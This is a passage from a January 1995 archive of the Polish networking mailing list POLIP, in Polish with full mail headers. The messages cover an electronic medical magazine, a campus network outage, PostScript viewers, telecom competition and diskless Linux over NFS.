MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From geniwick@cyfronet.krakow.pl Sat Jan 7 13:05:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05319; Sat, 7 Jan 95 13:05:30 +0100 Return-Path: Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id NAA10379 for ; Sat, 7 Jan 1995 13:07:19 +0100 Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id NAA24514 for ; Sat, 7 Jan 1995 13:02:13 +0100 Message-Id: <199501071202.NAA24514@kinga.cyf-kr.edu.pl> X-Sender: geniwick@kinga.cyf-kr.edu.pl Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 7 Jan 1995 13:10:48 +0100 To: polip@zsku.p.lodz.pl From: geniwick@cyfronet.krakow.pl (Jacek Niwicki) Subject: Nowa gazeta elektroniczna Na liscie plotki przeczytalem dzisiaj informacje o nowej gazecie elektronicznej. Warto wiedziec > >PLOTKI: Nowy periodyk elektroniczny > >From: GSTANIAK@golem.umcs.lublin.pl (Grzesiek Staniak) >Date: 7 Jan 95 11:10:41 GMT >Organization: Lista dyskusyjna PLOTKI >Newsgroups: pl.listserv.plotki > ------------------------------------------------------------------------ > > >Czesc wszystkim, > >Chcialbym powiadomic wszystkich zainteresowanych o powstaniu pierwszej >polskojezycznej gazety medycznej. Nazywa sie "Galen", powstala niecaly >miesiac temu, dostepna jest przez listy dystrybucyjne "galena-l" (ascii), >"galenl-l" (latin 2, uuencode), oraz "galenm-l" (mazovia, uuencode). >Subskrypcja publiczna: nalezy wyslac list o tresci "SUB nazwa_listy (imie >nazwisko)" na adres . Dostepna jest tez >wersja HTML, URL http://www.lublin.pl/imw/galen.html Numer ISSN 1233- >7838. > >Gazeta jest przeznaczona dla szerokiego kregu lekarzy i ludzi >zainteresowanych medycyna, teksty specjalistyczne beda zamieszczane >tylko w wyjatkowych sytuacjach. Tresc stanowia omowienia (nie >tlumaczenia) interesujacych wiadomosci na tematy medyczne dostepnych >przez Internet lub medyczne serwisy informacyjne. > >Redakcja jest otwarta na wspolprace ze wszystkimi zainteresowanymi. >Materialy do publikacji prosimy przesylac na adres > lub (redaktor >naczelny). Regulamin publikacji mozna uzyskac wysylajac list o tresci >"SEND regulamn.txt" na adres lub w wersji >HTML pod URL http://www.lublin.pl/imw/regulamn.html > >W razie klopotow lub przy jakichkolwiek problemach, watpliwosciach i >pytaniach prosimy o kontakt pod adresem . > >Zapraszamy do wspolpracy i zyczymy (nieskromnie) przyjemnej lektury! > > >............................... >Grzesiek Staniak > > > _________________ (jn) Jacek Niwicki :-) ACK CYFRONET Krakow ul. Nawojki 11 geniwick@cyfronet.krakow.pl niwi@uci.agh.edu.pl _________________ From RAJ@inf.wsp.krakow.pl Sat Jan 7 15:35:09 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07042; Sat, 7 Jan 95 15:34:36 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA10825 for ; Sat, 7 Jan 1995 15:36:28 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Sat, 7 Jan 95 15:32:20 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Sat, 7 Jan 95 15:32:01 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Sat, 7 Jan 1995 15:32:00 GMT+0100 Subject: Re: Co sie stalo z INF.WSP.KRAKOW.PL?! Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <11D4197F01@inf.wsp.krakow.pl> > Date sent: Tue, 3 Jan 95 12:24:21 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: mkaleta@cyf-kr.edu.pl (A.Gorbiel) > To: sfrafa@cyf-kr.edu.pl > Subject: Co sie stalo z INF.WSP.KRAKOW.PL?! > Organization: Gazeta Wyborcza, Oddzial Katowice > Witam, > Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail > na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem, > ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok! > > Zeby bylo jeszcze gorzej, osoba z ktora usiluje sie skontaktowac ma > z pozostalych _dzialajacych_ kont (Cyfronet) .forward na ten feralny > komputer, wobec czego dostalem kolejne ostrzezenia od MAIL DELIVERY S. > Osoba z ktora usilowal sie skontaktowac Andrzej Gorbiel to ja. Niniejszym przepraszam jego i wszystkich innych ktorzy mogli probowac w okresie od 21 grudnia do 6 stycznia bezskutecznie skontaktowac sie z komputerem inf.wsp.krakow.pl. 21 grudnia padl nam glowny multi-repeater uczelnianej sieci i prawie wszystkie komputery na uczelni stracily lacznosc z Internetem. Firma od ktorej ww. sprzet zostal kupiony na nasze interwencje wczoraj tzn. 6 stycznia dostarczyla nam urzadzenie zastepcze (nasze pojechalo do naprawy do producenta do Niemiec) i lacznosc zostala przywrocona. Zdaje sie, ze bede musial poczytac archiwa paru list... Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Sat Jan 7 16:00:51 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07767; Sat, 7 Jan 95 15:55:53 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA10913 for ; Sat, 7 Jan 1995 15:57:45 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Sat, 7 Jan 95 15:53:37 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Sat, 7 Jan 95 15:53:36 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Sat, 7 Jan 1995 15:53:27 GMT+0100 Subject: Re: postscript w Mosaic ? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <12303A6C7D@inf.wsp.krakow.pl> > Date sent: Fri, 6 Jan 95 14:09:42 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: "Eligiusz Pawlowski, LUBLIN." > To: sfrafa@cyf-kr.edu.pl > Subject: postscript w Mosaic ? > Witam w Nowym Roku ! > > Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, > ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez > problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci > zrobienia czegokolwiek z tym plikiem. > Pytania : > 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych? > 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki > z postscriptem ? > 3.czy mozna wczytac plik postscriptowy do jakiegos edytora > tekstu w windowsach ? Ad 1 i 2. Ghostscript/Ghostview. Jest to PD pakiet interpretera Postscriptu pod Windows. Jest tez wersja pod DOS-a i oczywiscie pod Unixa, bo stamtad sie toto wywodzi. Jest polecany przez NCSA do wspolpracy z Mosaikiem. Ad 3. Plik postscriptowy jest plikiem ASCII, wiec zapewne mozna go wczytac, ale pozytku z tego wielkiego nie bedzie. Takiego edytora, co by rozumial Postscript, to nie ma. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From muhlig@usctoux1.cto.us.edu.pl Mon Jan 9 09:21:41 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03118; Mon, 9 Jan 95 09:21:10 +0100 Return-Path: Subject: urm.gov.pl? To: polip@zsku.p.lodz.pl Date: Mon, 9 Jan 1995 09:23:42 -0100 (MET) From: Maciek Uhlig X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 455 Message-Id: <9501090923.aa09953@usctoux1.cto.us.edu.pl> Dlaczego nie ma routingu do urm.gov.pl? Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 9 11:26:43 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05085; Mon, 9 Jan 95 11:24:55 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA14782 for polip@zsku.p.lodz.pl; Mon, 9 Jan 1995 11:17:31 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 9 Jan 1995 09:51:46 GMT From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski) Message-Id: <3er0vi$2oj@galaxy.uci.agh.edu.pl> Organization: Cracow University of Technology Sender: news.polip@cyber.ict.pwr.wroc.pl References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl>, Subject: Re: postscript w Mosaic ? Michal Jankowski (michalj@fuw.edu.pl) wrote: : >>>>> "Szymon" == Szymon Sokol writes: : Szymon> Uzywaj Netscape for Windows: : PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku : netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca... a jakie sa znaczace roznice pomiedzy wersja pod X a wersja pod MS ?!?? osobiscie powazniejszych nie zauwazylem..... -- ------------------------------------------------------------------------------ Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek WWW home page - http://www.pk.edu.pl/~marcin - still under construction...... ------------------------------------------------------------------------------ YOUR bus ALWAYS ARRIVES LATER :( From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 11:26:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04956; Tue, 10 Jan 95 11:24:47 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA06313 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 11:21:31 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 10 Jan 1995 09:26:50 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3etjsq$evp@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Siec Optimusa? Witam, wczoraj GW podala, ze Optimus planuje budowe sieci telekomunikacyjnej dla okolo 3 mln abonentow obejmujacej conajmniej 1/3 powierzchni kraju. Juz w tym celu wystapili o stosowna licencje do Ministerstwa Lacznosci oraz podpisali umowe z partnerem angielskim - jakas spolka consultingowa specjalizujaca sie wlasnie w problemach telekomunikacji. Calosc ma prowadzic specjalnie powolany holding Polskie Telmedia. Jak napisano w owej wzmiance pobudka do tego byla analiza ich jakiegos zespolu (znaczy - Optimusa) wykazujaca scisly zwiazek miedzy telekomunikacja a technika komputerowa w najblizszych latach. Mozna wiec podejrzewac, ze taka siec robiona od zera przez ludzi od komputerow bedzie miala nieco wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie wie cos wiecej na ten temat? -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From RAJ@inf.wsp.krakow.pl Tue Jan 10 12:05:22 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06016; Tue, 10 Jan 95 12:03:47 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id MAA04574 for ; Tue, 10 Jan 1995 12:06:31 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 10 Jan 95 12:01:47 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 10 Jan 95 12:01:26 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 10 Jan 1995 12:01:23 GMT+0100 Subject: minitel ??? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <519327F0E@inf.wsp.krakow.pl> Ostatnio zostalem zapytany przez kolege, czy i ew. jak mozna laczyc sie z minitelem z Internetu. Ja nie mam na ten temat zielonego pojecia. Czy ktos cos wie? Czy jest to w ogole mozliwe? Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 17:05:24 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12819; Tue, 10 Jan 95 17:04:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA11775 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 16:51:06 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 10 Jan 1995 15:33:11 GMT From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz) Message-Id: <3eu9bn$1g6@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <519327F0E@inf.wsp.krakow.pl> Subject: Re: minitel ??? Jaroslaw Rafa (RAJ@inf.wsp.krakow.pl) wrote: : Ostatnio zostalem zapytany przez kolege, czy i ew. jak mozna laczyc sie z : minitelem z Internetu. Ja nie mam na ten temat zielonego pojecia. Czy ktos : cos wie? Czy jest to w ogole mozliwe? : Pozdrowienia, Nie sadze zeby to bylo mozliwe, przynajmniej jesli chodzi o wiekszosc aplikacji. Nie zapominaj ze minitel to usluga komercyjna i w takim ukladzie kto mialby za to placic? A oplaty sa niemale: nawet do 10 FRF za minute (podaje we frankach, bo akurat w tym kraju Minitel rozwinal sie najbardziej). Pozdrowienia Marcin Raczkiewicz Katedra Telekomunikacji Akademii Gorniczo-Hutniczej w Krakowie From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 17:05:36 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12828; Tue, 10 Jan 95 17:04:44 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA11776 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 16:51:06 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 10 Jan 1995 15:39:58 GMT From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz) Message-Id: <3eu9oe$1g6@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3etjsq$evp@ghost.mimuw.edu.pl> Subject: Re: Siec Optimusa? Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie : wie cos wiecej na ten temat? Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych konkurowac LOKALNIE z TPSA. Pozdrawiam Marcin Raczkiewicz Katedra Telekomunikacji Akademii Gorniczo-Hutniczej w Krakowie From bogusz@zow.desy.de Tue Jan 10 17:26:50 1995 Received: from [131.169.42.63] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13704; Tue, 10 Jan 95 17:25:21 +0100 Return-Path: Received: from zow13.desy.de (zow13 [131.169.42.73]) by zow00.desy.de (8.6.9/8.6.9) with ESMTP id RAA17332 for ; Tue, 10 Jan 1995 17:24:03 +0100 Received: (bogusz@localhost) by zow13.desy.de (8.6.9/8.6.9) id RAA13013; Tue, 10 Jan 1995 17:24:01 +0100 Date: Tue, 20 Dec 1994 23:13:17 -36000 From: Gene Jeffries Subject: Internet persons in Elblag To: bogusz@fuw.edu.pl Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Date: Tue, 10 Jan 1995 17:23:54 +0100 (MET) Resent-From: Wojtek Bogusz Resent-To: Pol-IP Resent-Message-Id: Wojtek, I found your name and address while cyber-surfing on the Internet. I trust you will not mind my writing you with regard to a matter not related to your university work. I will be visiting Poland later this month in the City of Elblag, and I am writing to ask if you know of any Internet persons in that city where I could email back to the United States. I found some in Gdansk, but that is still some distance from Elblag. Thank you for assisting me in this matter. Gene L. Jeffries From bogusz@zow.desy.de Tue Jan 10 17:35:22 1995 Received: from [131.169.42.63] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14127; Tue, 10 Jan 95 17:32:57 +0100 Return-Path: Received: from zow13.desy.de (zow13 [131.169.42.73]) by zow00.desy.de (8.6.9/8.6.9) with ESMTP id RAA17435 for ; Tue, 10 Jan 1995 17:31:28 +0100 Received: (bogusz@localhost) by zow13.desy.de (8.6.9/8.6.9) id RAA13026; Tue, 10 Jan 1995 17:31:24 +0100 Date: Tue, 10 Jan 1995 17:31:21 +0100 (MET) From: Wojtek Bogusz X-Sender: bogusz@zow13 To: Pol-IP Subject: Internet persons in Elblag (fwd) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Czesc, Ja osobiscie nie znam nikogo (patrz nizej) moze ktos chce odpowiedziec ? Ciekaw jestem czy wy tez dostajecie duzo takiej poczty i co z nia zazwyczaj robicie :-) Ja srednio dostaje list dziennie a to od marynaza ze stanow szukajacego "Makty" poznanej w Egipcie gdzie jego statek podwodny zakotwiczyl na sekund kilka albo od kogos grzebiacego w zasuszonej herladyce swojego rodu, ... Pozdrawiam, Wojtek Ps: Poprzedni maili wyskoczyl mi z pod palca i nawet nie wiem czy dojdzie, sorry :-) jesli ... ---------- Forwarded message ---------- Date: Tue, 20 Dec 1994 23:13:17 -36000 From: Gene Jeffries To: bogusz@fuw.edu.pl Subject: Internet persons in Elblag Wojtek, I found your name and address while cyber-surfing on the Internet. I trust you will not mind my writing you with regard to a matter not related to your university work. I will be visiting Poland later this month in the City of Elblag, and I am writing to ask if you know of any Internet persons in that city where I could email back to the United States. I found some in Gdansk, but that is still some distance from Elblag. Thank you for assisting me in this matter. Gene L. Jeffries From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 18:26:49 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16263; Tue, 10 Jan 95 18:24:34 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA13127 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 18:19:15 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 10 Jan 1995 17:14:50 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3eufaa$cm6@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eerje$lhc@ghost.mimuw.edu.pl>, , <3eh8r3$6hs@galaxy.uci.agh.edu.pl> Subject: Re: Announce: X PC Server Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote: : Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie : z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. : Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies : go zapisywalem, tylko gdzie ...). : Aha, na pewno byly do tego zrodla. Gdyby udalo sie znalezc adres gdzie to jest, bardzo prosze go tutaj podac. Mogloby to byc lepszym rozwiazaniem od tego, o czym pisalem. Pozdrawiam. -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 08:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02417; Wed, 11 Jan 95 08:04:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id HAA24272 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 07:47:35 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 10 Jan 1995 17:42:56 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3eugv0$4dl@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3etjsq$evp@ghost.mimuw.edu.pl>, <3eu9oe$1g6@galaxy.uci.agh.edu.pl> Subject: Re: Siec Optimusa? Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote: : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie : : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie : : wie cos wiecej na ten temat? : Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci : optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie : dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero : tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku : (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych : konkurowac LOKALNIE z TPSA. Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych przedsiewziec, bo dotychczas jest z tym kiepsko. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From tsk@trident.mof.mofnet.gov.pl Wed Jan 11 09:42:41 1995 Received: from trident.mof.mofnet.gov.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03838; Wed, 11 Jan 95 09:39:05 +0100 Return-Path: Received: from TSK by trident with smtp (Linux Smail3.1.28.1 #14) id m0rRydE-0003I0C; Wed, 11 Jan 95 09:42 GMT+0100 Message-Id: Date: Wed, 11 Jan 95 09:42 GMT+0100 X-Sender: tsk@trident.mof.mofnet.gov.pl Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: polip@zsku.p.lodz.pl From: tsk@trident.mof.mofnet.gov.pl (Tomasz Skurzewski) Subject: Re: Siec Optimusa? X-Mailer: >Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote: >: Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: > >: : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie >: : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie >: : wie cos wiecej na ten temat? >: Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci >: optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie >: dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero >: tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku >: (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych >: konkurowac LOKALNIE z TPSA. > >Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka >inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych >przedsiewziec, bo dotychczas jest z tym kiepsko. > >>>A 165 mln USD projekt inwestycyjny firmy Sprint Polska Telekom ? >>>Przewidziane jest 125 tys. numerow tel. + ewentualna dzierzawa linii dla >>>operatorow TV kablowej, w Pile i na Slasku. Ta inwestycja chyba jeszcze nie ruszyla >>>ale wyglada na blizsza realizacji niz Optimus poprzez Telmedia. From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 10:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04684; Wed, 11 Jan 95 10:04:23 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA26968 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 09:47:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 08:34:29 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3f056l$k55@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ebicn$296@cyber.ict.pwr.wroc.pl>, <3eerje$lhc@ghost.mimuw.edu.pl>, Subject: Re: Announce: X PC Server Artur Pioro (artur@thp2.if.uj.edu.pl) wrote: > >>>>> "Andrzej"==Andrzej K Brandt writes: > Andrzej> U nas PC z Linuxem sa uzywane sprawnie jako terminale > Andrzej> Studenckim Laboratorium. Konfiugracja to 486 z mono SVGA i 4 > Jak do tej pory nie mialem doswiadczenia z Linuxem (ani takiej > potrzeby), ale skoro wiazaloby sie to z mozliwoscia darmowego > stworzenia X-Terminali na bazie posiadanych PC, to zastanawiam sie czy > nie warto by sie tym zainteresowac. Mam tylko pytanie czy jest mozliwa > konfiguracja 'diskless' Linuxa? To znaczy czy potrafi on przy starcie > systemu (komputera), po zaladowaniu jakiegos na prawde malego > bootstrapu z dyskietki lub malenkiej linuxowej partycji na HD dzialac > dalej w oparciu o zdalny (root) filesystem dostepny poprzez NFS? Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja ze swapem. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:43 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09638; Wed, 11 Jan 95 14:43:40 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00902 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:59:02 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 12:50:33 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3f0k6p$49k@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eerje$lhc@ghost.mimuw.edu.pl>, , <3f056l$k55@Waldemar.mat.uni.torun.pl> Subject: Re: Announce: X PC Server Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote: (chodzi o bezdyskowego Linuxa) : Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna : instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja : ze swapem. Wlasciwie zastanawiam sie, skad to ograniczenie. Widzialem, ze odwolania do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej. Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba do uwzglednienia w przyszlych wersjach Linuxa... (Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.) Pozdrawiam. -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09641; 